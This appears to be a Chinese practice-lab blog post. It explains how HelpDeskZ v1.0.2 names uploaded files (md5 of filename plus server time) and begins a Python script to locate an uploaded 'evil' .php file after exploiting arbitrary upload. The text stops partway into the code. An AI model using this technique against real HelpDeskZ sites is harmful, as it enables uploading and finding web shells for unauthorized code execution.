在靶场练习时遇到一个helpdeskZ v1.0.2的站点 于是学习并按照漏洞写了一个 查找上传文件的脚本
在提交机票处可以上传任意文件虽然会后台没有在文件验证失败后取消上传
也许是对上传文件的处理可以使得不会造成影响
在上传后 后台 将文件名与服务器当前时间做了一个md5加密 详情参考源文件
这里不贴出来了
源代码注释很详细 虽然在获得服务器时间的地方出了不少问题
走了不少弯路 (可以直接获得服务器时间进行处理)
而且python包管理的问题 自己的主机上python版本 2之后的装了几个 这个兼容那个兼容
真的很玄学
import urllib.request
import datetime
import _hashlib
import re
import urllib.error
import sys
import calendar
import time
'''
制作者:mask
python的包管理比较混乱下面代码可能会在一些情况下报错
我在自己的环境为
python3.7.3 版本下调试正常运行
如果不是这个环境则可以修改部分代码或者配置对应环境
'''
#帮助部分 简略
if sys.argv[1] in "-h" or sys.argv[1] in "--help":
print("need python3.7.3 version")
print("[uploadfile_url] [evil_filename] [extension]", end='\n')
print("Example:%s http://www.google.com/ test .php"%sys.argv[0])
exit(0)
uploadfile_url = sys.argv[1]
evil_filename = sys.argv[2]
extension = sys.argv[3]
#目标文件的路径 文件名以及扩展名
def get_servertime(url)